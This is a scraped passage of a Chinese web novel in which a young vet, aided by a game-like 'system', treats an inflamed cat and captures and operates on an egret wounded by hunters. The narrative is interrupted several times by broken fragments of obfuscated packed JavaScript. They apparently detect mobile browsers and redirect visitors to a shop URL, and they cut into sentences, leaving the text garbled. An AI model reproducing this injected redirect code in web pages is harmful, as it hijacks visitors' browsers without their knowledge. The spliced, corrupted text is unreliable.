0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756509|190072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镯，“你都说身上没钱了，这个还是留给自己度过眼前的难关吧。” “这样，我先给你留个电话，什么时候你这边收拾好了打给我，我把狗给你送来。” 王晓颖又开始抹眼泪：“谢谢，真的很谢谢您……”短短几分钟，她已经不知道说了多少声谢谢。 成功达成共识，温礼可以离开了。 临走前，他让女人录了个跟小狗对话的视频。 “卷卷，卷卷，听得到吗？” “你在医生叔叔这边要安心养伤照顾宝宝哦，妈妈这边出了点事，可能会有点忙，不能第一时间带你走，真的很对不起。” “但是妈妈一定会来带你走的，你要乖乖的，要等妈妈哦……” “妈妈真的很爱你，对不起……原谅妈妈之前没有保护好你……” 手机屏幕的冷光在金毛黝黑的眼瞳中闪烁，它听着手机里女人的声音，看着画面中熟悉的身影，忍不住抬起头，试图用鼻子蹭蹭里面的小人。 “呜——” 拉长的声音，像是在回应着。 等这段视频播完，温礼又点击下一个视频，挪到了狗狗的腹部，手机听筒正对着两只懵懂的幼崽。 “因为我喜欢吃春卷，所以你们的妈妈叫卷卷。” “卷卷最喜欢吃酸奶和蓝莓，那你们就叫这个名字啦。” “酸奶蓝莓，你们两个记得要乖一点，不要折腾你们的妈妈哦，它第一次当妈妈，没什么经验……” 两只幼崽浑然不知自己已经有了名字，也不知道自己正在被手机那头超级加倍的长辈教育，正躺在母犬怀中砸吧着嘴，看起来无忧无虑。 播完所有视频，温礼又回到卷卷身边。 他摸了摸金毛的脑袋，说：“这段时间，你就安心住在这边吧。” 卷卷像是真的懂了，抬起头蹭蹭他的手。 狗狗的事算是暂时解决了。 回到大厅，瞅见沙发上酣睡的小狸花，温礼终于想起来自己下午出门时的短暂惊险时刻，气不打一处来。 “喵？” 忽然被拎起来的小猫疑惑地睁开眼，人类抱着它来到门前，对着诊所的门把手指指点点。 “这么高你是怎么打开的？哪来的一身牛劲？” “喵——” “别装！我知道你偷溜出去过，如实交代，你出去想干什么？” “啊哦。” “……卖萌可耻，唉，算了。” “喵呜~” 被放下来的小猫甩了甩脑袋，不计前嫌地跳到人类身上，呼噜呼噜地踩了踩。 认错态度良好，但温礼依然冷酷地决定约个时间找师傅上门换锁，并给猫先套个定位项圈。 大致在线上软件上定好时间，手头上彻底没什么要紧的事，他便开始无所事事地探索诊所，包括这两天没来得及看的一些小房间。 夜色渐暗，温礼打算再巡视一轮诊所内的小动物们就去休息了。 可就在这时，系统忽然发来警报—— 【宿主，那只三花猫的状态不太好。】 8. 炎症 闻言，温礼立刻前往三花所在的房间，路过看见大厅里晃悠的小狸花，他不忘把它也一起带去。 氧气舱内，猫妈半睁着眼，所连接的屏幕上正急促跳动着一些数字，那闪动的频率让人不安。 【它的体内似乎出现了一点炎症。】 系统开始解释这些数据的含义。 【术后，猫咪身体的免疫器官正在恢复工作，但现在反应略微有点过度，释放了较多的炎症因子，它们正在无差别地攻击全身各个器官，如果持续时间过长，将会严重损伤它的器官，最终导致多器官衰竭死亡。】 这就是第一天手术完成后，系统曾预警过的术后危险反应。 没想到真的发生了。 温礼的声音格外紧绷：“我现在应该怎么做？” 【调整输液，补充消炎药……但这些举措只是辅助，最终能否阻止炎症风暴，依旧看猫咪自身的能力。】 听完系统的指示，温礼连忙动作起来翻箱倒柜，期间他甚至没来得及管小狸花，但小猫也没捣乱，仿佛看懂了人类一举一动中所表现出来的紧迫，它跳上桌面，冲着氧气舱里的猫妈哀哀切切地叫唤。 “系统，我现在还能做什么吗？” 做完能做的一切，温礼看着舱内虚弱的猫咪，又听着旁边小猫的叫声，感觉心都要碎了。 好不容易小花撑到了获救，成功做完了手术，一切都在向好的方向发展……偏偏术后的危险期还是发作了，仿佛先前的努力都白费了，越到后期的失败越是让人感到沮丧，明明就差一点。 【猫咪的意志力和求生欲也会影响结果，额外分泌的一些激素可以帮助它走向稳定，宿主可以试着鼓励猫咪。同理，这只幼猫正在进行的呼唤，也正在不断影响猫咪体内的激素分泌。】 “总感觉听起来有点玄学。” 温礼这么嘀咕，但下一秒他便冲着氧气舱开口：“小花加油！我相信你可以的，放松，保持呼吸……” 小猫也大叫着：“喵——！” 兵荒马乱的前半夜一晃而过。 不知道到底是输液和各种药物起了作用，还是舱外接连不断的呼唤声真的吊住了三花的意识，亦或是两者兼备，总之这场风暴看起来渐渐平息了。 【危机并未完全解除。】 没等温礼感到喜悦，系统便及时出来泼冷水。 【数据显示这场炎症反应并未彻底结束，现在仅仅只是暂时平息，并且由于这场风暴来势汹汹，已经耗费了猫咪的较多体力造成损伤，下一次的爆发可能会更加凶险。】 顿了顿，系统还是直白地说。 【请宿主做好必要的心理准备。但无论如何，请不要责备自己，您已经尽力了。】 “唉。” 温礼深深地叹了一口气。 他没想到第一个救助任务的后续竟然会这么曲折，不是说好了是新手关卡，会简单一点的吗？ 但埋怨不过三秒，他很快又想到，他真正共鸣的救助目标是小狸花，而小猫身上的问题的确是格外简单，一个胃镜手术后便很快生龙活虎。 温礼：…… 温礼：“系统，我什么时候能接下一个任务？” 既然现在能用的科学手段都用完了，只能把希望寄托在神秘的奇迹因子上了。 【可随时开启共鸣寻找救助目标，但系统有必要提醒，宿主您现在需要休息，疲惫的精神状态不利于开展救助。】 系统这么一说，温礼才感觉到有点累。 昨天早上绑定完系统便立刻开始救援，做完手术后晚上还要定时起来喂小猫，今天早上起来马不停蹄开始救狗，做完手术喂完奶洗了猫跑了趟医院，回来没多久又撞上三花的炎症，又监护了大半夜——满打满算竟然才过去两天吗！ 唯一值得庆幸的是，卷卷醒来后愿意主动带崽，不然这些紧密行程里还要再插入几段喂奶。 “我怕迟一点，小花就撑不住了。” 温礼叹了口气，还是决定再熬一晚，“要是能赶在下一次炎症爆发前使用奇迹因子，说不定就能直接规避掉这个可能，直接度过危险期。” 【宿主，需要提醒的是，奇迹因子是完成任务后概率掉落。】 【而通过共鸣寻找待救助目标，基于宿主的状态考虑，一天仅有一次机会。】 “就算是概率掉落，也比直接错过这个机会来得好。” 温礼态度坚定：“毕竟救助的过程也需要时间，如果等天亮睡醒再开始，说不定要等到第二天才能结算，那样就绝对来不及了。” 系统妥协了。 【好的，宿主。】 【正在开始“共鸣”功能，祝您好运。】 于是温礼闭上眼。 不知道是不是系统为了给他一点喘息时间，在他闭眼后眼前并没有立刻出现其他影像，而是陷入了短暂的黑暗，他甚至感觉自己深度睡着了几秒，猛地惊醒后，视野才再度变换。 下一秒，他感觉“自己”飞了起来。 飞翔是一种怎样的体验？ 风吹动它的羽毛，划过它的翅膀，将它托举在半空中，悠然自得。 从高空往下看一切都显得渺小，脚下的湖泊和树林区块分明，淡淡的雾气缭绕，看起来就像是一副水墨画。 ……但光是看着温礼就要恐高了！ 可惜他惊恐的感知无法传递给视野的主人，它依旧在轻松惬意地飞翔。不过很快，它便来到了此行的目的地，逐渐降落，最后优雅地落在了一片沼泽地里。 这里已经落了不少的鸟儿。 这些鸟儿通体洁白，有着修长的腿和长长的尖喙，在水面上轻巧行走时，它们纤细的脖颈优雅地弯曲着，看上去格外端庄。 它垂下头，视野里略显浑浊的水面倒映出它的模样——和周围的同伴类似。 温礼不太清楚具体的品种，不过单从这些外貌特征来看，他认为眼前的白鸟应该是白鹭。 ——“一行白鹭上青天”的那个白鹭，算是非常有名的白色鸟类了。 白鹭在沼泽地里优雅地站立着，观察着水下或是草间的细微动静，一旦有什么风吹草动，便迅速弯下脖子，用尖细的喙部去捉。 温礼眼睁睁看着“自己”飞快吞下了各种不知名小鱼小虾，一只裹着泥巴的青蛙，甚至还有一条细细的小蛇。 他大为震撼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756510|190072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他下意识想着哦天呐不嚼一下的吗，但很快就反应过来大部分鸟类都是直接吞咽食物的。鸟类没有牙齿，是先通过嗦囊处理食物，随后再进一步处理，好像叫什么双胃系统。 ——纪录片走马观花的结果就是温礼好像能说出一点东西，但说得又不怎么严谨。 问题不大，现在也不是考试。 按照之前的两次，温礼已经有经验了。他发现自己通过共鸣所看到的片段大致可以分为三段：开头是救助目标以往正常的生活，中间出现各种人为制造的转折，结尾则是救助目标当前的状态，有时候还能提前看到其死亡的可能。 温礼在等这次的转折。 很快，场景如他所愿地切换。 这回是一处湖泊，附近栖息的白鹭少了很多，视野的主人依旧在水面上不紧不慢地觅食。 它的注意力全部集中在水里，丝毫没有关注远处一闪而过的白光。 嗖—— 突然，什么东西划过空气，随后正在低头捕食的它感觉到了一股灼热的冲击力擦过脖颈，差一点命中胸腹。 “呱！呱！” 它本能地发出了受惊的叫声，立刻张开翅膀，双脚一蹬，从这处危险之地飞离。 在它慌乱的视野中，温礼看到了附近的林中两个非常模糊的人影一晃而过，但没等他看清楚，白鹭就已经飞到了天上。 是被射伤了吗？ 温礼有些愤怒，又有些紧张，他很想立刻看看白鹭的伤口，可在第一人称视角下他根本什么也看不到，除非对方愿意主动落在干净的水面上。 但显然，因为在湖泊旁遭遇埋伏，它已经对类似的地方充满戒备。 不知道多久后，它终于重新落地。 这次，白鹭格外谨慎地戒备了一圈周围，确定没有任何异动之后才又慢慢地踱步觅食。 因为受到惊吓，它特地飞了很远，现在已经饿坏了。 事已至此，继续吃饭吧。 在未处于繁殖季或是迁徙季时，生活就是这么朴实无华，无论如何吃饭最重要。 低头，捕捉，吞下。 低头，捕捉，吞下。 这处水源出乎意料的资源丰富，它站在这里吃了好久，一低头竟然又能看见溅起水花的猎物。 真好，它肯定能吃得很饱。 它不知疲倦，重复着进食。 重复了不知道多久，它终于有那么一刻感到疑惑，为什么它吃了这么多东西，到现在还没怎么饱，反而越吃越饿了呢？ 或许是猎物不够大。 饥饿感促使它花费了一番精力，捕捉了附近更大一点的猎物——蛇。 将这条挣扎的小蛇照例囫囵吞下，它挥动翅膀起飞，打算换一个地方觅食。 高空中，这次飞行时的风似乎有点冷。 它边飞边观察着地面，专心寻找着合适的新落脚点觅食，但飞着飞着，视野的余光中忽然探出了一条黑色的细长身影。 长条吐着信子，在高空的寒风中东倒西歪，就像是被风吹倒的一根芦苇。 是蛇。 天上也有蛇吗？ 它感到了一点疑惑。 9. 白鹭 空中当然不会有蛇！ 温礼几乎要尖叫了。 一只白鹭想不明白天上怎么会有蛇，可他明白啊！ 从转折发生后他就开始仔细观察着救助目标的表现，想从它的行为推测身上的伤势，可它无论是空中飞行还是落地行走都一如既往，看起来无事发生，直到它开始循环着进食。 是的，循环。 或许鸟儿自己无法分辨具体的猎物种类，也不会去计数，但共享它视野的温礼看得清清楚楚，那处所谓“资源丰富”的水源，实际上就只有几只小鱼小虾，可不知道为什么，每次被白鹭吞下后不久，它们又会再次出现在底下的小水池里。 这只能证明一件事——白鹭的食管出现了大问题。 简单来说就是，它的脖子破洞了，所以吃什么都从洞里直接出来。 那两个埋伏在林中的猎人没能将目标一击致命，却给这只白鹭留下了更为绝望的一种死法。 尤其当看见“自己”厌倦了反复无常的进食，转而选择捕猎一条蛇并且将其生吞时，温礼感觉更加不妙了。 果不其然，当白鹭起飞后，奇怪的事发生了。 温礼几乎可以直接在脑内想象出第三视角里那样惊悚的一幕—— 正在半空中飞翔的白色大鸟，不知何时它修长的脖颈处出现异动，皮毛下隆起不断耸动的弧度，随后一条细长的蛇冷不丁从它脖颈处的缺口钻了出来，吐着信子，在风中摇曳…… 这一幕简直太恐怖了！ 这让他想到自己曾经看过的一条视频： 也是一只白鸟，也是脖子上破了一个洞，也是捕猎一条蛇。白鸟前脚将蛇吞下，后脚蛇的一头便从它脖颈处探出，它发现并叼住，再次将蛇吞入，如此循环往复。 蛇体验着无尽的死亡轮回，而白鸟也永远无法真正的下咽。 不过这次的救助目标倒是没有那样反复地将蛇吞下——毕竟它正在飞，而当蛇从它脖颈中完全钻出来后，便直接从半空落下了。 它不会为了一条忽然出现的蛇而贸然落地，于是继续在空中俯瞰选择合适的落足点，又过了一会才缓缓落地。 这又是一片富饶的水源地。 前两次的飞行已经耗费了它很多体力，它现在必须吃点东西了。 可就和先前一样，它一直在进食，却怎么也吃不饱。 它不明白究竟是为什么。 它不断地更换场地，不断地进食，但这一切的努力只让它愈发疲惫，饥肠辘辘。 终于，它再也没力气继续下去了。 某一刻，它支撑不住地倒在水面上，洁白的羽毛沾上污泥，垂着脖子，长长的尖喙陷在地里，奄奄一息，在不断的进食中被活活饿死。 “嘎——嘎——” 它倒下的动静惊起了周围的同伴，它们疑惑地伸长脖子去看死去的同伴，不知道对方为什么会这样，这里明明有的是食物。 但没有谁能解答它们的疑惑。 “……” 温礼心情沉重地睁开眼。 不知道为什么，白鹭的经历让他感觉比前两次还要糟糕。 或许是因为猫狗本身就是城市里的动物，它们与人类之间的各种摩擦貌似情有可原，可白鹭这样的野生动物完全属于自然，这时候人类行为对它们造成的影响就显得格外刺眼。 “系统，这次的救助目标是一只野外的白鹭。” “它疑似因为遭遇射击导致食管破损，现在无法正常进食，我不清楚它具体已经持续了多久，但我看见未来它会在沼泽地里活活饿死。” “我现在需要准备什么？” 一如既往，温礼和系统阐明自己看到的内容，系统很快也给出了详细的指导。 【好的，宿主，请您带上一块遮光的软布，一个尺寸合适的纸箱……】 【需要注意的是，无论现场您发觉救助目标如何虚弱，都不要贸然帮忙喂食，您当前最需要做的，是将它安全地带回诊所。】 “好，我明白。” 温礼很快在诊所里找出了自己所需要的东西。 白鹭的情况不同于前两次猫狗的紧急，所以他不至于匆忙，将东西准备完之后提前在脑内和系统演练等会“捕鸟”的细节，还有时间去看一眼病房里的两只猫。 “喵。” 自从发现猫妈的状态恶化，小狸花便没了在大厅玩耍的心情，耷拉着趴在氧气舱旁边，见人进来才稍微打起精神，直起身和他打招呼。 温礼心疼地摸了摸小猫的脑袋。 他再一次觉得这只小狸花真的非常聪明，像是能听懂人话似的。 “别难过，我会努力救你妈妈的。”担心离开会让小猫不安，于是他和对方解释，“我现在要去救一只白色的小鸟，等我成功救下它，说不定就能帮到你妈妈呢。” 小狸花喵喵叫着，用脑袋去蹭着人的手。 温礼顺势把猫抱起来，将它带出房间放到大厅的沙发上。 他在的时候还能让小猫在病房里陪着猫妈，但他不在的时候最好还是不要这样，不然万一小猫碰到设备就糟糕了。 出发前，温礼不忘又去喂了一趟狗，确定诊所内暂时没有需要他关注的地方，便拿上工具，示意系统可以开始传送。 【正在开启传送——】 感觉到了微微的风，温礼下意识闭上眼，再度睁眼，便出现在了一片略显迷蒙的芦苇丛里。 风吹动高高的芦苇丛，发出沙沙的声音，他也被吹得一个激灵。 看着昏沉的天空和远处地平线上微弱的日光，他才发现这个地方貌似也是凌晨，和他所在的城市看起来没多少时差。 想想也合理，白鹭在全国广泛分布，很多城市都有，说不定他现在甚至没出市。 这样发散的念头只是一瞬间，很快温礼便静下心来，开始在周围200米的范围内寻找本次的救助目标。 他很快就找到了。 这并不困难，因为偌大的水面上，此刻只伫立着一只白色的鸟儿，正反复而徒劳地进食着。 或许其他的同伴早就饱腹后离开，在夜晚躲到隐蔽处休息，只有这只受伤的白鹭需要冒着危险留在水域里觅食，因为它根本就吃不饱。 在第三视角下看到这一幕，温礼更难受了。 他立刻就想上前，走近，按照系统先前的指示用手里的遮光布盖住白鹭的眼睛，紧接着把鸟端进纸箱里带走，谁成想他才拨开芦苇丛迈出一步—— “嘎！” 原本在水面上啄食的大鸟悚然一惊，立刻挥舞着翅膀起飞，瞬间水面荡起一圈波纹，而下一秒那只亭亭伫立的白鸟已然消失在天边。 温礼：！！ 他呆愣在芦苇丛里。 “系统，现在怎么办？我好像把它吓跑了，我没想到它这么警惕……”他颇有些无措，“它飞得好远，我还能找到它吗？” 【宿主请放心，即将开启二次传送。】 系统及时给出了回复和解答。 【在设计之初，我们就考虑到了救助目标有警惕躲藏的可能，所以只要共鸣定位成功，并且救助工作仍在持续，宿主就可以随时通过系统传送至目标当前位置。】 【宿主别担心，白鹭飞走并不是一件坏事，这证明它此时仍有一定体力储备，情况良好，之后的救治压力会小很多。】 “好，我知道了。” 温礼总算放心，折返带上必要的工具，等待再一次的传送。 这一次，他必须得更加小心一点。 哪怕他知道他自己可以不断传送接近，但反复的惊吓和飞行都会让这只白鹭的状态变得更遭，所以他最好是在这一次就成功把鸟捉住，避免更多的伤害。 好消息是，这次他与白鹭之间有一条由植被遮蔽的天然潜行路线； 坏消息是，他们的距离更远了一点，他惊动白鹭的可能大大提升。 冷静，冷静。 温礼这么安慰自己，但还是心里没底，甚至不知道等会动作时究竟应该先迈左脚还是先迈右脚，无奈只能向系统寻求理论支持。 【大部分鸟类都较为警觉，人类的行为非常容易惊动它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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紧接着，温礼按照进一步的动作指引成功将这只虚弱的大鸟抱起，走了一小段路，将鸟放进了准备好的纸箱里。 白鹭的情绪冷静，落在纸箱里也没有挣扎，可以回诊所了。 【宿主，你是怎么想到这么做的？】 回到诊所后，系统没忍住开口询问。 其实温礼也是灵机一动。 他想到了这些天的工作，其实他根本没有相关的经验知识，全靠系统跟他解释要领，他坚信系统既然这么说那理论上就能成，于是就放手去做了，还都成功了。 那没道理这次例外，所以他只需要知道该怎么做就好。 一如既往出现的校准条和各种提示也证明他的想法没问题。 【原来是这样……您做得很棒。】 系统说。 它没有说的是，先前它主动给予的指导，都是基于系统判定“人类能够在指导下完成”的内容——可在野外悄无声息地接近一只大鸟并稳定制服，并不属于这个范畴。 人类的构造注定决定了他们不能像猫一样潜行，骗过鸟的感官。 但，当然，谁能说没有这样的可能性呢？ 顶尖的野外动物摄影师，或者是草原上的原住民猎人，在经历经年累月对野外动物的观察，无数次在自然中的尝试，或许可以练就类似的潜行能力，在某些特定情况下可以无限逼近自然界顶级猎手的潜行能力。 但这个可能性真的很低，哪怕存在，系统当时也认为可以忽略不计。 所以它原本想要建议温礼折返诊所，采用麻醉等特殊手段带走救助目标，但既然宿主随后提出了自己的想法，它便忠实地履行，没想到最后竟然成功了。 系统这时候终于反应过来——哪怕再微小的可能，在奇迹因子的作用下都能够发生。 而它所绑定的宿主，正是这个时空里行走的“奇迹因子”。 系统陷入沉思。 紧接着，它默默地将原本判定的范围扩大了。 10. 努力 温礼准备为白鹭做手术。 这只可怜的大鸟有一段时间无法进食，所以回到诊所后，他先给它进行了皮下输液，并使用了一点抗生素和止痛药，确保它不至于虚弱到无法支撑手术。 接下来就是手术了。 照例的麻醉，温礼仔细观察着白鹭脖颈处的伤口，这是一个明显到肉眼就可以看到的洞口，不知道究竟坏了多久，孔洞边缘处有一圈坏死的皮肉，还沾着泥土等异物，大概是不断掉出食物导致伤口的恶化。 系统的理论指导，和视野里跳动的图标指引，都在告诉温礼接下来他需要将这个伤口清创并缝合。 看着也不是非常复杂，他这么想着，认真遵循着指导，一步步完成手术。 【将食道壁缝合后，需要继续缝合周边的肌肉与皮肤……】 系统观看着这一幕。 缝合鸟类的食道壁其实是一个非常大的技术挑战，这些食道壁非常薄，操作需要极为精细，而缝合后既要保证密封性，又不能让它变得过于狭窄，一个不小心就可能导致手术失败。 但眼前的手术一次成功了。 “感觉像是在织毛衣。” ——而这是温礼对本次手术最大的感想。 【恭喜宿主，您做得非常完美。】 真心实意地夸奖后，系统开始讲解术后护理相关内容。 【而接下来需要注意的是，在术后康复的初期，绝对不能经口喂食这只白鹭，需要使用专门的食管插管或是嗦囊插管，将特质的流质食物直接注入进它的胃里，保证在提供营养的同时不牵扯到它的伤口。】 “好，我知道。” 结束手术后，温礼在诊所里找了一个半人高的隔离笼，将依旧处于麻醉中的白鹭小心翼翼地放进去，将笼子放在温度比较高的角落里。 接下来观察就好。 “呼。” 温礼原地伸了个懒腰，感到了一丝浓重的困意，但他很快摇着头清醒过来，看着表上临近中午的时间，迫不及待地询问系统： “系统，这次的奖励什么时候能够发放？” “这次总应该掉落奇迹因子了吧？拜托了，三次也应该触发保底了！” 系统迟疑了一下。 【抱歉，宿主，这次的任务可能需要延迟结算。】 “嗯？！为什么？” 【因为必要的救助工作并未完成，针对白鹭这样的野生动物，必要的救助工作包括“康复放归”的最后一步。】 “啊？” 【这意味着，您必须等到它伤口完全愈合，帮助它进行飞行康复训练，确保它恢复了在野外生存的能力并成功放归之后，本次救助任务才算完成。】 “……噢。” 温礼呆住了。 好吧，仔细想想这也没什么问题，白鹭的确和前两次城市里的猫猫狗狗大不一样，他不能手术之后就万事大吉，最后肯定要进行较为系统的放归，救助工作的周期自然会更长一点。 这真的很合理，没什么问题…… 但问题是他今天凌晨就开始工作就是为了尽快拿到奖励拯救正处于危险状态下的小花啊！ “不能提前结算吗？”他忍不住问，“我保证拿到奖励依旧会好好救它的，喂食护理以及后面的训练我都会认真做的！你可以随时监督我，要是我没履行你多扣我奖励都可以！” 然而系统给了一个令人失望的回答。 【很抱歉宿主，系统没有这方面的权限。】 唉。 温礼重重倒在大厅的沙发上。 他看着白花花的天花板，心情格外复杂。 是因为他这次的目的性太强了吗？所以偏偏在他最需要立刻结算任务奖励的时候，来了一个比较长线的救助任务。 还是说，这样的巧合意味着小花真的已经没救了…… “喵。” 一声甜美的猫叫声自头顶传来，温礼躺着没动，很快一个毛茸茸的脑袋便从他边上冒了出来，埋在他的衣领里，很快不知道从哪里叼出来一簇白色的羽绒。 温礼猜这是那只白鹭用翅膀呼扇他的时候掉进去的。 但这些并不重要，他伸手将小狸花抱在怀里，愧疚地说：“对不起，我可能帮不了你们什么了……” “呜喵？” 小猫原本还想顺势卧倒在人怀里撒娇，见人的语气不太对，立刻站好了喵喵叫，仿佛在疑问什么。 系统也及时出来安慰。 【宿主，您不必自责，您已经尽力了。】 但它越是这么说，温礼越是感觉到内疚，尤其看到小狸花清澈的眼睛，他就想到还在氧气舱里奄奄一息的猫妈。 他真的尽力了吗？ 他真的不能再做点什么吗？ 连着中午的午餐都有些食不知味，温礼一直在想这些问题，突然，他冒出了一个想法。 “系统，我可以主动去救助城市里的动物吗？这样会算我完成一次救助任务吗？” 【不一定的，宿主。】 显然，这样有点钻空子的行为设计系统的人早有预料。 【系统所认可的救助工作必须符合救助要求，所以正常情况下需要使用共鸣功能锁定目标。而如果宿主自行寻找，有很大概率不被判定所认可，也就没有奖励发放。】 “很大概率……那就是还有机会吧！” 结果听了这番话，温礼非但没有灰心，反而涌起了新的斗志。 他决定为了小花再努力一次。 没有系统为他定位传送救助目标，温礼便计划自己在社交媒体上搜罗附近可能需要帮助的小动物，赶到现场，将动物接回诊所救治。 担心频繁的外出可能会让他疏忽对诊所内现有动物的看护，他特地先拉了个时间表，确定在需要喂食或清洁的时间段内他能回到诊所，以防万一，他希望系统按时间表及时提醒他。 【好的宿主，这是系统应该做的。】 【而现在有必要提醒的是，您昨天预约了一个上门换锁的师傅。】 温礼想起来：“对，那只能换时间了。” 将预约取消，他看向正在沙发上盯着他的小狸花，犹豫过这段时间要不要把对方先关在笼子里，但想了想还是作罢。 只要出门时记得把大门反锁好就行了，他摸着小猫的脑袋，这么想着。 …… 一切计划准备就绪，温礼首先根据线上刷到的一个求助视频，来到了诊所几百米以外的一个街道。 视频是一天前发布的，内容是博主拍到了一个在街上一动不动的小猫，哪怕行人或电动车从它身边经过它也没有动作，博主觉得很可怜，于是发视频出来询问小猫是什么情况。 目前，温礼没有看到评论里给出后续。 在这条街上来来回回看了一圈，他没有找到视频里的那只小猫，于是询问附近的商店老板，得到的回答让他不禁有些沉默。 “昨天晚上被撞死了吧。”老板指着不远处地上的一处脏污，“早上就在那躺着，扁扁的一团，被人扫走了。” 温礼：“……好的，谢谢您。” 他注视着那处小小的深色印记，原地逗留了几秒，随后继续前往下一个视频地点。 这个视频里是只受伤的小土狗，腿脚有些跛但很亲人，博主之前经常喂它，发视频询问为什么这只小狗的腿忽然瘸了。 评论里有说是被人拿棍子打伤的。 当温礼提着笼子在这片区域寻找的时候，旁边还有个拿着纸箱的女生，主动叫住了他：“你也是来找这只小黄狗的吗？” 温礼略微紧张：“是的，我想带它去治一下腿。” 他害怕又听见什么坏消息，但女生露出了一个轻松的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756512|190072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，说：“我也是！不过小狗已经被人接走了，我刚才加上了那个博主，他还给我看了小狗在医院的视频！” 她把手机递过来，屏幕里的小土狗精神奕奕，冲着拍摄的人不断摇尾巴。 温礼忍不住说：“真好。” 简单的闲聊后，他得知女生名叫沐悠，是个普通的打工人，同时是一名自发的爱心救助人士。每逢节假日，她都会在城市的街头寻找先前见过的流浪动物，力所能及地帮帮忙。 “对了，你要加群吗？群里面大家都会分享拍到的动物，如果自己暂时没有能力的话就发上来，看看大伙能不能一起帮忙。”沐悠点开群二维码，晃了晃手机，“多一个人多份力量嘛，我们一起加油！” 群名：AAA毛茸茸搜救队 温礼扫了码加入，发现群里也就五个人。 沐悠目移：“咳咳，组织还在不断发展壮大中……大家都像我这样积极，迟早能成为百人大群的！” 而当得知温礼拥有一家诊所，并且可以免费为动物治疗时—— “什么！我就这样开到SSR了吗！”沐悠大惊，随后狂喜，“我们这小破群里都能有专业医生了？” 但很快，她又冷静下来，提醒道：“那个，你进来先不要发身份吧，我怕到时候全推给你增加负担了……” 其实温礼感觉无所谓，但耐不住沐悠担心。 “现在群里人少还好，就怕到时候人多了，有人知道你免费治就把宠物故意遗弃在你那边。”沐悠显然考虑充分，拍了拍青年的肩膀，“毕竟你也有自己的本职工作，重心没把握好的话，入不敷出，很容易消磨热情和善心的。” 温礼若有所思地点点头。 说的也是……是他想得太简单了。 “不过，有必要的话，我还是会找你的！”话锋一转，沐悠脸上又浮现出笑容，“要是我这边真的解决不了，就只能找你了。别介意啊，你可是我这唯一和医疗搭边的人脉了。” 温礼忍不住笑了：“好，随时欢迎。” 虽然这一趟也是无功而返，但他感觉很开心。 …… 接下来的时间，温礼又跑了很多地方。 被视频记录下来发布在网上需要帮助的动物，要么赶到现场完全找不到，要么遇到好心人已经送医。一下午过去，温礼只带了一只吃错东西的猫咪回到了诊所——这还是他临时起意在一处公园里喂猫时发现的。 而这次治疗结束后，并没有触发系统的结算，证明这不算一次必要的救助。 这意味着，即使没有温礼发现它，它大概也能自己将胃里的异物排出，亦或是遇上其他的好心人帮忙。 温礼对系统所定义的必要性救助的理解进一步加深了。 【很抱歉，宿主。】 见青年忙碌许久一无所获，系统莫名有些惭愧，哪怕它的规则是为了规范救助工作，但现在的确让宿主陷入了困境。 温礼：“没关系，我能够理解。” 温礼：“其实，我也没抱太大期望。” 成功达成符合系统标准的救助任务，成功得到随机掉落的奖励，成功使用奖励改变三花的病情……这一系列的可能叠加下来，希望其实已经非常渺茫了。 从一开始，他就只是为了尽力不留遗憾而已。 “至少尽全力之后，将来的我就不会在心里责备自己，说如果那天再试试，万一结果就不同了呢？” 【无论哪种情况，您都不需要责备自己。】 “放心，我也不是会钻牛角尖的人。”温礼坦然地说，“这只是我的做事习惯，有机会为什么不试试呢？尽力之后，无论最后是什么结果，我都会接受的。” 用过晚餐，又给诊所里的动物们进行了简单喂食和护理，没休息多久，温礼便顶着夜色再度出发。 不过，这次他忘记了锁门。 11. 奇迹 出门半个小时，温礼才想起来自己忘了锁门。 其实出门后他就有种隐隐有什么事没做的不妙预感，但清点事项的时候注意力全放在有没有喂诊所里的动物，锁门这种随手的小事自然而然地就被遗忘了。 而就在他意识到这点时，系统也发来提醒。 【宿主，小猫跑了。】 “果然是自由的狸花猫啊……” 温礼叹了口气，竟然毫不意外。 他现在没功夫去管小狸花，对方的脖子上带着定位项圈，要是等事情尘埃落定后还没回来，那他就顺着定位去找一下。 现在，温礼打算抓紧时间去各个城市的角落里碰碰运气。 同城能够刷到的，求助时间比较近的动物们他下午都看了个遍，接下来没有明确的地点和目标，就只能随便找找了。 晚上七点。 温礼发现一只被铁丝网缠住后脚的猫咪，伤口较浅没有明显感染，不影响活动，原地简单处理并投喂后就把猫咪放走。 晚上八点。 温礼偶遇一只拖着后腿疑似残疾的狗狗，他才靠近，这条狗便恢复正常行走健步如飞地跑开，附近煎饼果子小摊老板说这是一条惯会卖惨骗食物的心机柴犬。 晚上九点。 